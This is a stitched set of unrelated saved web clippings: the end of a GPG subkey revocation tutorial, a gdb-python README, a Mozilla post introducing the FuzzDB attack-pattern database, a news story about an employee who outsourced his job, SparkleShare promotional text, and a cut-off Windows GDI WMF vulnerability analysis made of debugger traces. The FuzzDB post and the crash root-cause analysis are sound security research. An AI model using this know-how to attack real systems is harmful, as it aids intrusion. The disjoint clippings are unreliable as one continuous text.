  4. Removed the original signing subkey from the master keypair in your laptop’s keyring, thus transforming your master keypair into your **laptop keypair****.** Your life will now be a little easier should your laptop get lost or stolen**.**

## Using your new laptop keypair****

You can now use your keypair to encrypt, decrypt, and sign files and
messages**.**

To sign someone else’s key or to create or revoke a subkey on this keypair,
you need to use the master keypair that you keep safe—the one that’s not on
your laptop**.**

You should distribute your public key to a keyserver**.** There are plenty of
tutorials online on how to do that**.**

## In case of emergency****

Should the worst happen and your laptop with your special keypair gets lost or
stolen \(or your special keypair is otherwise compromised\), we need to revoke
the subkeys on that keypair**.**

  1. Unlock your safe-deposit box and get your master keypair out**.**
  2. Boot a live USB of Ubuntu or your distro of choice**.** Then, import your master keypair into the live USB’s keyring:
`gpg --import /path/to/\<bilbo@shire.org\>.public.gpg-key
/path/to/\<bilbo@shire.org\>.private.gpg-key`

  3. Now use gpg ‐‐edit-key to interactively revoke your subkeys:
`gpg --edit-key bilbo@shire.org gpg (GnuPG) 1**.** 4**.** 11; Copyright (C)
2010 Free Software Foundation, Inc**.** This is free software: you are free to
change and redistribute it**.** There is NO WARRANTY, to the extent permitted
by law**.** Secret key is available**.** pub 4096R/488BA441 created:
2013-03-13 expires: never usage: SC trust: ultimate validity: ultimate sub
4096R/69B0EA85 created: 2013-03-13 expires: never usage: E sub 4096R/C24C2CDA
created: 2013-03-13 expires: never usage: S [ultimate] (1)**.** Bilbo Baggins
<bilbo@shire.org> [ultimate] (2) [jpeg image of size 5324] gpg> **key 1** pub
4096R/488BA441 created: 2013-03-13 expires: never usage: SC trust: ultimate
validity: ultimate sub* 4096R/69B0EA85 created: 2013-03-13 expires: never
usage: E sub 4096R/C24C2CDA created: 2013-03-13 expires: never usage: S
[ultimate] (1)**.** Bilbo Baggins <bilbo@shire.org> [ultimate] (2) [jpeg image
of size 5324] gpg> **key 2** pub 4096R/488BA441 created: 2013-03-13 expires:
never usage: SC trust: ultimate validity: ultimate sub* 4096R/69B0EA85
created: 2013-03-13 expires: never usage: E sub* 4096R/C24C2CDA created:
2013-03-13 expires: never usage: S [ultimate] (1)**.** Bilbo Baggins
<bilbo@shire.org> [ultimate] (2) [jpeg image of size 5324] gpg> **revkey** Do
you really want to revoke the selected subkeys**?** (y/N) **y** Please select
the reason for the revocation: 0 = No reason specified 1 = Key has been
compromised 2 = Key is superseded 3 = Key is no longer used Q = Cancel Your
decision**?** **1** Enter an optional description; end it with an empty line:
> Reason for revocation: Key has been compromised (No description given) Is
this okay**?** (y/N) **y** You need a passphrase to unlock the secret key for
user: "Bilbo Baggins <bilbo@shire.org>" 4096-bit RSA key, ID 488BA441, created
2013-03-13 **< passphrase>** You need a passphrase to unlock the secret key
for user: "Bilbo Baggins <bilbo@shire.org>" 4096-bit RSA key, ID 488BA441,
created 2013-03-13 **< passphrase>** pub 4096R/488BA441 created: 2013-03-13
expires: never usage: SC trust: ultimate validity: ultimate This key was
revoked on 2013-03-13 by RSA key 488BA441 Bilbo Baggins sub 4096R/69B0EA85
created: 2013-03-13 expires: never usage: E This key was revoked on 2013-03-13
by RSA key 488BA441 Bilbo Baggins sub 4096R/C24C2CDA created: 2013-03-13
expires: never usage: S [ultimate] (1)**.** Bilbo Baggins <bilbo@shire.org>
[ultimate] (2) [jpeg image of size 5324] gpg> **save**`

  4. Now that your subkey has been revoked, you have to tell the world about it by distributing your key to a keyserver**.**

## Further reading****

  * The GNU Privacy Handbook , a very detailed explanation of how public-key cryptography works and how to use GPG**.**
  * Subkeys at the Debian Wiki, an explanation of why using subkeys is a good idea and a step-by-step guide to setting them up**.**
  * Creating GPG Keys at the Fedora project, a step-by-step guide to creating a new GPG keypair**.**
  * GPG How-to at the Ubuntu Community Help Wiki**.**

****

# kbandla/gdb-python

**Created:**| _4/7/2012 11:10:10 AM_  
---|---  
**Updated:**| _4/7/2012 11:10:10 AM_  
**Author:**| __  
**Tags:**| _Debugging python_  
  

[code]

    Scriping GDB using Python
    
    From GDB>=7.0, you can script gdb using python in a stable way. 
    Here, you will find notes on gdb-python.
    
    Linux:
    I have tried this on Linux and it works fine. 
    You can find the compiled binary in bin/linux
    
    OS X:
    It did compile on OS X, but I'm not yet sure how well it works on ObjC files.
    You can find the compiled gdb binary in bin/osx 
    Apple has their own fork, but that does not have python support.
    http://www.opensource.apple.com/source/gdb/
    
    You can download gdb from : http://ftp.gnu.org/gnu/gdb/
    
    Installing:
    You will need to configure gdb with python support:
    ./configure --with-python=/usr/local
    make && make install
    
[/code]

# Introducing FuzzDB | Mozilla Security Blog
**Created:**| _8/18/2013 9:42:22 AM_  
---|---  
**Updated:**| _8/27/2013 9:37:56 AM_  
**Author:**| __  
**Tags:**| _Fuzzer fuzzing_  
  

# **I** ntroducing FuzzDB****

Aug 16 2013  

FuzzDB is an open source database of attack patterns, predictable resource
names, regex patterns for identifying interesting server responses, and
documentation resources**.** It’s most often used testing the security of web
applications but can be useful for many other things**.** FuzzDB started off
as years of my own personal documentation and research notes and gradually
evolved into its current form**.**

This is the first of a series of blog posts about FuzzDB**.** It discusses:

  * The problem that led to the creation of FuzzDB
  * What kinds of things are in FuzzDB
  * The different ways in which FuzzDB could be used
  * The future of FuzzDB

FuzzDB, is hosted at Google Code: https://code.google.com/p/fuzzdb/

## **Thinking About Test Cases**  

A lot of attention has been paid to identifying attackable surface areas, but
less to the development of attack pattern libraries**.** When we dynamically
test web applications for security vulnerabilities, how good are the test
cases we’re using**?**

Commercial web scanning tool vendors put significant research effort into this
problem, but the product of this research is considered intellectual property
and locked up inside the application**.** As users, in order to learn what
kinds of test cases are being generated we would need to painstakingly record
and analyze its traffic**.** At the time I initially released FuzzDB, most
open source web fault injection tools had sets of test cases which were
woefully incomplete and inadequate**.** There are too many permutations of
symbols and encodings used in web protocols for anyone to reliably and
repeatably recall all of them**.** As for the commercial tools, how complete
are their sets of test cases, anyway**?** It’s not always easy to tell**.**
What were they actually testing for? These tools aren’t just test case lists,
they’re lists wrapped in complex sets of rules that determine which test cases
to use when and where**.** After considering these details, I had some doubts
about the effectiveness of the typical application testing process**.**

My thoughts turned to increasing the speed and accuracy with which I could
find certain classes of vulnerabilities during assessments**.** I began
collecting, categorizing, and using lists of attack strings and of common file
and directory names**.** Eventually I organized them into what is now FuzzDB
and made it freely available under an Open Source license, the Creative
Commons Attribution license**.**

As with any tool, an individual with malicious intent could potentially use
FuzzDB in bad ways**.** However, I believe that it’s better to provide this
information for the security of all**.** More importantly, if developers and
testers have access to a good set of test cases, software will be released
that has already passed this list of test cases**.**

That’s my ultimate goal for FuzzDB: for it to become obsolete as an attack
tool because the applications become more secure**.** When applications and
frameworks are inoculated against its patterns through testing and secure
coding techniques, bad actors will no longer find the patterns in FuzzDB to be
useful**.**

## **What’s in FuzzDB?**

**Predictable Resource Locations -** Because there are a small number of
popular server OS and infrastructure application packaging systems, resources
such as logfiles and administrative directories are typically located in a
small number of predictable locations**.** FuzzDB contains a comprehensive
database of these, categorized by OS platform, web server, and
application**.** The intent is for a tester to use these lists to be able to
make educated rather than brute-force guesses, significantly increasing the
likelihood of successfully forcible browsing interesting and vulnerable
resources**.** Also, they’re appropriate to be used in creating automated
scanners as well as IDS/IPS signatures**.**

**Attack Patterns –** The attack pattern test-case sets are categorized by
platform, language, and attack type**.** These are malicious and malformed
inputs known to cause information leakage and exploitation**.** FuzzDB
contains comprehensive lists of attack payloads known to cause issues like OS
command injection, directory listings, directory traversals, source exposure,
file upload bypass, authentication bypass, http header crlf injections, and
more**.**

When I say “malicious inputs,” I mean it**.** Downloading the project may
cause antivirus alerts or trigger pattern-based malicious code sensors**.**
While FuzzDB is itself nothing but a collection of text files that are
harmless on their own, some of the patterns included in the files have been
used extensively in worms, malware, and other exploits**.**

**Response Analysis -** Since system responses also contain predictable
strings, FuzzDB contains a set of regex pattern dictionaries such as
interesting error messages to aid detection software security defects, lists
of common Session ID cookie names, regex for numerous Personally Identifiable
Information, and more**.**

**Documentation –** Helpful documentation and cheatsheets sourced from around
the web that are relevant to the payload categories are provided**.**

**Other useful stuff –** Webshells, common password and username lists, and
some handy wordlists**.**

You can browse it’s contents using Google Code’s Source browser**.**

## What can FuzzDB be used for?

  * Web application penetration testing using popular penetration testing tools like OWASP Zap or Burp Suite
  * A standard ZAP Intercepting Proxy add-on
  * Building new automated scanners and automation-assisted manual penetration test tools
  * Testing network services that use something other than HTTP semantics
  * As malicious inputs for testing GUI or command-line software
  * Using the patterns to make your open source or commercially licensed application better
  * Identifying interesting responses to your probes**.** Here is a screenshot illustrating how this looks in Burp Suite
  * Testing your IDS or IPS by using these test cases to “attack” your web server
  * Testing during a bake-off of web security product vendors
  * Testing a new custom web server or other network service for vulnerability to the patterns that have worked on one or more other platforms in the past
  * Building intrusion identification and response systems
  * Winning app security Capture the Flag competitions
  * As a learning tool for better understanding various different malicious byte combinations which can cause the same vulnerability

If you’re using FuzzDB in a novel way, I’d love to hear about it**\!**

## The Future of FuzzDB****

There is still a lot of work to be done to improve FuzzDB**.** My plan for the
upcoming year includes:

  * Respond to the outstanding bugs
  * Come up with a consistent naming structure \(this is actually one of the bugs\)
  * Write more documentation, such as these blog posts
  * Update the Discovery files, they’re still very useful, but a few years old**.**
  * Improve some of the Attack payload categories
  * Help it work better with OWASP Zap and Minion

In addition, FuzzDB will move into a wiki that will allow discussion of the
contents and permit collaboration on new items.  
If you’re interested in helping in any of these areas or have suggestions such
as a consistent directory and name format for FuzzDB or have more fuzz files
to send, I’d love to hear from you**.**

**Categories:** Security

## No responses yet****

Post a comment

  1. ### TheCottonSilk <img src='img/Temp2_4514.png' width='48' height='48' /> wrote on August 17, 2013 at 7:49 pm****:
> Amuntner, This is really a great work**\!** Keep it on**.** I am yet to
> explore it, however after reading this blog I am excited to try it out
> quickly**.** Normally i write some scripts to automate wherever
> possible**.** If something useful comes out, would like to share with you
> and community**\!** Thanks**.**
Reply

Cancel Reply

  1. Name \(required\)
  2. E-mail \(required, will not be published\)
  3. Website
  4. Spam robots, please fill in this field**.** Humans should leave it blank**.**
  5. Your comment

****

# Log audit reveals developer outsourced his job to China

**Created:**| _1/16/2013 1:21:50 PM_  
---|---  
**Updated:**| _1/24/2013 9:13:50 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

ina

Posted on 16 January 2013.

  

<img src='img/Temp2_4970.jpg' />Log analysis can reveal a lot of security
mistakes and fails, but a lot of security sins, too.  
  
Take for example the incident recently shared by Verizon's Risk Team: called
in by a critical infrastructure company to investigate what seemed to be a
breach of its networks by the hands of Chinese-based hackers, they ended up
discovering a complex scam perpetrated by one of the company's most respected
employees.  
  
"We received a request from a US-based company asking for our help in
understanding some anomalous activity that they were witnessing in their VPN
logs. This organization had been slowly moving toward a more telecommuting
oriented workforce, and they had therefore started to allow their developers
to work from home on certain days. In order to accomplish this, they’d set up
a fairly standard VPN concentrator approximately two years prior to our
receiving their call," explains Verizon's Andrew Valentine.  
  
The company started monitoring logs being generated at the VPN concentrator,
and discovered an open and active VPN connection from Shenyang, China, to one
of their employees' workstation. What's more, they discovered evidence of the
same VPN connection being established almost every day for months before.  
  
Fearing that some unknown malware was used to route traffic from a trusted
internal connection to China and back - this being the only way they could
explain themselves the fact that the VPN connection from China was
successfully authenticated - they called in Verizon's team to investigate.  
  
"Central to the investigation was the employee himself, the person whose
credentials had been used to initiate and maintain a VPN connection from
China," shares Valentine.  
  
He was a mid-40’s software developer versed in a number of programming
languages, a family man, and an employee of the firm for quite a long time. He
was "inoffensive and quiet", "someone you wouldn’t look at twice in an
elevator."  
  
But, as it turned out, he wasn't as inoffensive as they believed at first
glance.  
  
After having analyzed a forensic image of the employee’s desktop workstation
and having found on the computer hundreds of _.pdf_ invoices from a third
party contractor/developer in Shenyang, they came to the shocking conclusion:
the employee - whom they dubbed "Bob" \- had only been pretending to work. In
reality, he had outsourced his job.  
  
"Bob spent less that one fifth of his six-figure salary for a Chinese firm to
do his job for him. Authentication was no problem, he physically FedExed his
RSA token to China so that the third-party contractor could log-in under his
credentials during the workday. It would appear that he was working an average
9 to 5 work day," Valentine writes.  
  
If you were wondering what "Bob" did with all his free time, the answer is
surf the Internet. He spent hours upon hours browsing Reddit and eBay,
watching cat videos on YouTube, updating Facebook and LinkedIn. He only
stopped for lunch and took his time to fire off an update e-mail to management
at the end of his "working" day.  
  
"Evidence even suggested he had the same scam going across multiple companies
in the area. All told, it looked like he earned several hundred thousand
dollars a year, and only had to pay the Chinese consulting firm about fifty
grand annually," Valentine revealed.  
  
But the most interesting thing to note is that no-one spotted the deception
earlier. The company's Human Resources department consistently gave him
glowing performance reviews because he apparently wrote clean code and
submitted it on time.  
  
"We have yet to see what impact this incident will have, but providing
programming code used to run critical national infrastructure providers'
systems to off-shore firms seems dangerous at best," Nick Cavalancia, VP,
SpectorSoft commented the revelation for Help Net Security. "What many
organizations fail to understand is that with proactive monitoring that can
alert IT security teams when unacceptable online behaviors occur, this type
activity can be thwarted before it becomes an incident."

# SparkleShare - Sharing work made easy

**Created:**| _10/24/2010 6:33:47 PM_  
---|---  
**Updated:**| _10/24/2010 6:34:00 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup Distributed systems awesome Filesystem_  
  

<img src='img/Temp2_7631.png' alt='SparkleShare' />

# What is SparkleShare?

SparkleShare is a syncing and collaboration tool that shines by its absence.
it's designed to get out of your way, to make sharing documents and
collaboration easier, and to make peers aware of what you are doing.

## You are in control

SparkleShare allows you to host your own service with ease, so that you are
always in control of your data. It also keeps a record of changes in you make
to your files. Did you or someone else make a mistake? No problem, just revert
it.

## Free as in Freedom

Not only doesn't SparkleShare cost you anything, you also have access to the
full source code of it. You are free to use it for any purpose and modify it
to fit your needs. These are only two examples of the freedoms you get when
using Free Software.

# Black Hat USA 2009

**Created:**| _12/24/2009 11:44:02 AM_  
---|---  
**Updated:**| _12/24/2009 11:44:06 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Time Travel Debugging: finding Windows GDI flaws | Pen Test Partners
**Created:**| _7/2/2019 5:51:20 PM_  
---|---  
**Updated:**| _7/2/2019 5:51:20 PM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

  

Blog: Vulnerability Advisory

# Time Travel Debugging: finding Windows GDI flaws

Symeon Paraschoudis 10 Oct 2018

### <img src='img/timetravelGDI-4-768x384.png' width='1200' height='600' />

### Introduction**  
**

Microsoft Patches for October 2018 included a total of 49 security patches.
There were many interesting ones including kernel privilege escalation as well
as critical ones which could lead to remote code execution such as the MSXML
one. In this post we will be analysing a case of a WMF out-of-bounds read
vulnerability and then we will try to determine its exploitability.

We reported this to Microsoft and they addressed the bug and assigned
CVE-2018-8472 for the case. This analysis was performed on a Windows 10 x64
using a 32-bit harness.

Similar to Markus Gaasedelen’s _Timeless Debugging of Complex Software_ using
Mozilla’s rr tool blog post we will be using the Windows Debugger Preview and
take advantage of its Time Travelling Debugging \(TTD\) features and identify
the root cause of slightly complex code.

Time Travelling Debugging allows you to capture a trace that goes backwards
and forth in time and analyse the vulnerability, we’re are going to be using
these fantastic features to identify all the user input that can influence the
crash as well as understand the bug itself. Although previous research has
been conducted on the EMF fileformat, the presented vulnerability was
discovered via fuzzing WMF files using winafl. A call to
**gdiplus\!GpImage::LoadImageW** function with a specially crafted WMF file
will yield the following crash:

[code]

    (388.1928): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000012 ebx=00000000 ecx=00000001 edx=d0d0d0d0 esi=08632000 edi=086241c0
    eip=74270b37 esp=00eff124 ebp=00eff14c iopl=0         nv up ei pl nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
    ucrtbase!memcpy+0x507:
    74270b37 8b16            mov     edx,dword ptr [esi]  ds:002b:08632000=????????
[/code]

From the crash above, we are trying to copy the memory contents pointed by esi
\(08632000\) and move that to the edx register. However, it looks like esi
points to unmapped memory:

[code]

    0:000> dc esi L10
    08632000  ???????? ???????? ???????? ????????  ????????????????
    08632010  ???????? ???????? ???????? ????????  ????????????????
    08632020  ???????? ???????? ???????? ????????  ????????????????
    08632030  ???????? ???????? ???????? ????????  ????????????????
[/code]

<img src='img/GDI32-1.png' width='940' height='407' />

_Figure_ _1_ _: Executed instructions while running the crafted WMF file._

Next step is to look at the stack trace and understand how we ended up on this
memcpy function:

[code]

    0:000> **kv**
     # ChildEBP RetAddr  Args to Child              
    00 00eff128 76d6e086 08624154 08631f94 00000072 ucrtbase!memcpy+0x507 (FPO: [3,0,2])
    01 00eff14c 76d6dfd9 00000051 08621d20 00000000 gdi32full!MRBDIB::vInit+0x7d (FPO: [Non-Fpo])
    02 00eff200 76d6da5f ffffff00 00001400 00001400 gdi32full!MF_AnyDIBits+0x167 (FPO: [Non-Fpo])
    03 00eff334 74743ca3 75211255 00000000 ffffff00 gdi32full!StretchDIBitsImpl+0xef (FPO: [Non-Fpo])
    04 00eff374 76da86ec 75211255 00000000 ffffff00 GDI32!StretchDIBits+0x43 (FPO: [Non-Fpo])
    05 00eff494 76d69164 75211255 0862dff0 0861be96 gdi32full!PlayMetaFileRecord+0x3f3ec
    06 00eff544 76d9749d 00000000 00000000 00eff568 gdi32full!CommonEnumMetaFile+0x3a5 (FPO: [Non-Fpo])
    07 00eff554 74745072 75211255 d0261074 0049414e gdi32full!PlayMetaFile+0x1d (FPO: [Non-Fpo])
    08 00eff568 71ac9eb1 75211255 d0261074 d0261074 GDI32!PlayMetaFileStub+0x22 (FPO: [Non-Fpo])
    09 00eff5fc 71ac9980 09c39e18 000001e4 00000000 gdiplus!GetEmfFromWmfData+0x4f5 (FPO: [Non-Fpo])
    0a 00eff624 71a9bd6a 09c33f3c 09c33fd0 00000000 gdiplus!GetEmfFromWmf+0x69 (FPO: [Non-Fpo])
    0b 00eff770 71a8030c 09c33f3c 09c33fd0 00eff794 gdiplus!GetHeaderAndMetafile+0x1b970
    0c 00eff79c 71a690f4 09c37fc8 00000001 71b59ec4 gdiplus!GpMetafile::InitStream+0x4c (FPO: [Non-Fpo])
    0d 00eff7c0 71a77280 085a3fd0 00000000 09c31ff0 gdiplus!GpMetafile::GpMetafile+0xc2 (FPO: [Non-Fpo])
    0e 00eff7e4 71a771e1 09c31ff0 00000000 0859cfeb gdiplus!GpImage::LoadImageW+0x36 (FPO: [Non-Fpo])
    0f 00eff800 00311107 085a3fd0 09c31ff4 085a3fd0 gdiplus!GdipLoadImageFromFile+0x51 (FPO: [Non-Fpo])
    --- redacted ---
[/code]

Interesting, we can see the memcpy was called from the MRBDIB::vInit\(\)
function, which in turn was called from StretchDIBits, PlayMetaFileRecord,
CommonEnumMetaFile and a few other functions.

Moreover, let’s observe the esi value and the size allocation:

[code]

    0:000> !heap -p -a esi
        address 08632000 found in
        _DPH_HEAP_ROOT @ 5781000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                     a2b0a90:          8631f78               84 -          8631000             2000
              unknown!noop
        6afca8d0 verifier!AVrfDebugPageHeapAllocate+0x00000240
        773b4b16 ntdll!RtlDebugAllocateHeap+0x0000003c
        7730e3e6 ntdll!RtlpAllocateHeap+0x000000f6
        7730cfb7 ntdll!RtlpAllocateHeapInternal+0x000002b7
        7730ccee ntdll!RtlAllocateHeap+0x0000003e
        76af9f10 KERNELBASE!LocalAlloc+0x00000080
        76da8806 gdi32full!PlayMetaFileRecord+0x0003f506
        == redacted ==
[/code]

So as we can see the allocated size was **0x84** bytes, which we will pinpoint
later and identify where that value came from.

### Crash minimisation and quick intro to Windbg’s Preview TTD features

The WMF is a very complicated file format \(and deprecated\) and the next step
is to minimise the test case\!

For this process, I’ve used Axel Souchet‘s afl-tmin tool which comes with
winafl. The following command was used to minimise the crasher:

[code]

    afl-tmin.exe -D C:\DRIO\bin32 -i C:\Users\symeon\Desktop\GDI\crasher_84.wmf -o C:\Users\symeon\Desktop\GDI\crasher_MIN.wmf -- -covtype edge -coverage_module GDI32.dll -target_method fuzzit -nargs 2 -- C:\Users\symeon\Desktop\GDI\GdiRefactor.exe @@
[/code]

<img src='img/mincrash.png' width='972' height='721' />

_Figure_ _2_ _: Minimising the original crash file._

Comparing the differences between the original and the minimised test case we
can see that now is much easier to work with the minimised case. Notice how
the tool modified the non-interesting bytes to null bytes \(0x30\) and kept
only the important ones that lead to the crash\! This effectively helps us
identify which bytes the user can control, and how we could modify them as we
will cover on the second part.

<img src='img/crasher.png' width='767' height='910' />

_Figure_ _3_ _: Comparisons between the original and the minimised._

With the minimised test case it’s time to fire up Windbg Preview and record
the trace. In order to record the trace Windbg Preview requires admin
privileges. With Windbg running click on File -> Start Debugging -> Launch
Executable Advance and make sure “Record process with Time Travel Debugging”
is enabled.

<img src='img/GDI32-2.png' width='940' height='548' />

_Figure_ _4_ _: Windg Preview capturing new trace_

Starting the trace with the harness and the crasher, and continuing the
execution will give you the following screenshot:

<img src='img/GDI32-3.png' width='940' height='618' />

_Figure_ _5_ _: Executing the harness with the crasher resulting in a memcpy
crash_

If you haven’t watched the videos from Microsoft we highly recommend you do,
but in short:

**g-** and **\!tt 00** will move us back to the initial state of the trace
\(the latter is in percentage format, e.g. \!tt 50 will travel in the middle
of the trace\).

**p-** will step into one command backwards, can be used in combination with
**p- 10** we can go back **n** commands.

What makes time travelling awesome is that once the trace is recorded all of
the memory/heap allocations/offsets will stay the same. This quickly allows to
inspect function parameters, as well as memory addresses pointing to
interesting data.

### Identifying the root cause

Let’s print the stack trace once again, we are going to start from the bottom
of the trace and work up, examining the function calls on each trace and
printing the parameters.

[code]

    0:000> kv 6
     # ChildEBP RetAddr  Args to Child              
    00 0078f260 757ee086 19a17108 19a3af94 00000072 ucrtbase!memcpy+0x507 (FPO: [3,0,2])
    01 0078f284 757edfd9 00000051 19a14d20 00003030 gdi32full!MRBDIB::vInit+0x7d (FPO: [Non-Fpo])
    02 0078f338 757eda5f 00003030 00003030 00003030 gdi32full!MF_AnyDIBits+0x167 (FPO: [Non-Fpo])
    03 0078f46c 76e13ca3 9f211284 00003030 00003030 gdi32full!StretchDIBitsImpl+0xef (FPO: [Non-Fpo])
    04 0078f4ac 758286ec 9f211284 00003030 00003030 GDI32!StretchDIBits+0x43 (FPO: [Non-Fpo])
    05 0078f5cc 757e9164 9f211284 19a2cf38 19a0cee6 gdi32full!PlayMetaFileRecord+0x3f3ec
[/code]

Let’s see where the **PlayMetaFileRecord** was called.

Now it’s time to utilize windbg’s preview Time Travel Debugging \(TTD\)
features and let’s travel back in time\!

One way is to use the following LINQ query and print all the TTD calls for the
PlayMetaFileRecord that occur over the course of a trace:

[code]

    0:000> dx -r1 @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")
[/code]

<img src='img/GDI32-4.png' width='940' height='609' />

_Figure_ _6_ _: Trace location that called the PlayMetaFileRecord_

Fantastic, the above query yielded a total of three calls. Clicking on the
last result will give us the last call and the following information \(as
depicted above\):

[code]

    0:000> dx -r1 @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2]
    @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2]                
        EventType        : Call
        ThreadId         : 0x1c3c
        UniqueThreadId   : 0x2
        TimeStart        : 2113:3DB [Time Travel]
        TimeEnd          : 2113:34C [Time Travel]
        Function         : UnknownOrMissingSymbols
        FunctionAddress  : 0x757e9300
        ReturnAddress    : 0x757e9164
        ReturnValue      : 0x3000000000
        Parameters
[/code]

Clicking again on the Time Travel within the TimeStart property will transfer
us to that call \(Figure 4\):

[code]

    0:000> dx @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2].TimeStart.SeekTo()
    Setting position: 2113:3DB
    @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2].TimeStart.SeekTo()
    (1fc0.1c3c): Break instruction exception - code 80000003 (first/second chance not available)
    Time Travel Position: 2113:3DB
    eax=19a0cee6 ebx=00000000 ecx=19a10f10 edx=00000084 esi=00000000 edi=9f211284
    eip=757e9300 esp=0078f5d0 ebp=0078f67c iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    gdi32full!PlayMetaFileRecord:
    757e9300 8bff            mov     edi,edi
[/code]

Entering **p-** will step one command backwards and right before the call so
we can inspect the parameters:

[code]

    0:000> p-
    Time Travel Position: 2113:3DA
    eax=19a0cee6 ebx=00000000 ecx=19a10f10 edx=00000084 esi=00000000 edi=9f211284
    eip=757e915f esp=0078f5d4 ebp=0078f67c iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    gdi32full!CommonEnumMetaFile+0x3a0:
    757e915f e89c010000      call    gdi32full!PlayMetaFileRecord (757e9300)
[/code]

Another way would be to use the Unassemble backwards command \(using the
return address from the previous stack trace **\#05**\) \(Figure 3\):

[code]

    0:000> ub 757e9164
    gdi32full!CommonEnumMetaFile+0x38f:
    757e914e 1485            adc     al,85h
    757e9150 db0f            fisttp  dword ptr [edi]
    757e9152 853de80300ff    test    dword ptr ds:[0FF0003E8h],edi
    757e9158 75cc            jne     gdi32full!CommonEnumMetaFile+0x367 (757e9126)
    757e915a 50              push    eax
    757e915b ff75c4          push    dword ptr [ebp-3Ch]
    757e915e 57              push    edi
    757e915f e89c010000      call    gdi32full!PlayMetaFileRecord (757e9300)
[/code]

and then use the g- to travel once again back in time from the current fault
position:

[code]

    0:000> g- 757e915f
    Time Travel Position: 2113:3DA
    eax=19a0cee6 ebx=00000000 ecx=19a10f10 edx=00000084 esi=00000000 edi=9f211284
    eip=757e915f esp=0078f5d4 ebp=0078f67c iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    gdi32full!CommonEnumMetaFile+0x3a0:
    757e915f e89c010000      call    gdi32full!PlayMetaFileRecord (757e9300)
[/code]

Examining the PlayMetaFileRecord from Microsoft’s documentation reveals that

“The PlayMetaFileRecord function plays a Windows-format metafile record by
executing the graphics device interface \(GDI\) function contained within that
record.”

<img src='img/GDI32-5.png' width='940' height='495' />

_Figure_ _7_ _: GDI32 PlayMetaFileRecord API documentation._

The next step would be to print and examine the parameters right before
stepping into the function:

<img src='img/GDI32-6.png' width='940' height='669' />

_Figure_ _8_ _: Dumping the memory contents of the PlayMetaFileRecord’s
parameters._

Notice that the **LPMETARECORD** looks familiar, in fact if we open the
crasher on a hex editor we will see the following:

<img src='img/GDI32-7.png' width='934' height='643' />

_Figure_ _9_ _: LPMETARECORD in big-endian format inside the WMF file
contents_

Continuing let’s examine the **StretchDIBits** function:

[code]

    0:000> ub 758286ec
    gdi32full!PlayMetaFileRecord+0x3f3d3:
    758286d3 0fbf4316        movsx   eax,word ptr [ebx+16h]
    758286d7 50              push    eax
    758286d8 0fbf4318        movsx   eax,word ptr [ebx+18h]
    758286dc 50              push    eax
    758286dd 0fbf431a        movsx   eax,word ptr [ebx+1Ah]
    758286e1 50              push    eax
    758286e2 ff742444        push    dword ptr [esp+44h]
    758286e6 ff1588d08975    call    dword ptr [gdi32full!_imp__StretchDIBits (7589d088)]
[/code]

Once again let’s read a bit about the StretchDIBits function:

<img src='img/GDI32-8.png' width='940' height='583' />

_Figure_ _10_ _: The StretchDIBits function_

This function expects a total of 13 parameters, let’s confirm if we are on the
right track:

[code]

    0:000> g 758286e6
    ModLoad: 73610000 73689000   C:\WINDOWS\system32\uxtheme.dll
    Time Travel Position: 2152:264
    eax=00003030 ebx=19a3af78 ecx=30303030 edx=19a3af94 esi=19a3af94 edi=19a3affa
    eip=758286e6 esp=0078f4b4 ebp=0078f5cc iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    gdi32full!PlayMetaFileRecord+0x3f3e6:
    758286e6 ff1588d08975    call    dword ptr [gdi32full!_imp__StretchDIBits (7589d088)] ds:002b:7589d088={GDI32!StretchDIBits (76e13c60)}
    And printing again the parameters right before the call:
    0:000> dds esp LD
    0078f4b4  9f211284 <== hdc
    0078f4b8  00003030 <== xDest
    0078f4bc  00003030 <== yDest
    0078f4c0  00003030 <== DestWidth
    0078f4c4  00003030 <== DestHeight
    0078f4c8  00003030 <== xSrc
    0078f4cc  00003030 <== ySrc
    0078f4d0  00003030 <== SrcWidth
    0078f4d4  00003030 <== SrcHeight
    0078f4d8  19a3affa <== *lpBits
    0078f4dc  19a3af94 <== *lpbmi
    0078f4e0  00000001 <== iUsage
    0078f4e4  30303030 <== rop
[/code]

Out of all these values we’re interested on the **\*lpbmi** value which is a
pointer to BITMAPINFO structure.

The BITMAPINFO structure is defined as below:

<img src='img/tagbitmap.png' width='727' height='387' />

The bmiHeader is also a member of the BITMAPINFOHEADER structure that contains
information about the dimensions and color format of a DIB.

That structure is defined as below:

<img src='img/GDI32-9.png' width='940' height='658' />

_Figure_ _11_ _: The BITMAPINFOHEADER structure._

Let’s examine the **lpbmi** memory contents:

[code]

    0:000> dc 19a3af94
    19a3af94  00000066 30303030 30303030 00200000  f...00000000.. .
    19a3afa4  00000003 30303030 30303030 30303030  ....000000000000
    19a3afb4  00000000 30303030 30303030 30303030  ....000000000000
    19a3afc4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afd4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afe4  30303030 30303030 30303030 30303030  0000000000000000
    19a3aff4  30303030 30303030 d0d0d0d0 ????????  00000000....????
    19a3b004  ???????? ???????? ???????? ????????  ????????????????
[/code]

This also looks familiar, the above bytes start at offset 0x58 of our seed
file. Continuing, let’s examine the MF\_AnyDIBits function:

[code]

    0:000> ub 757eda5f
    gdi32full!StretchDIBitsImpl+0xd3:
    757eda43 8b4c2434        mov     ecx,dword ptr [esp+34h]
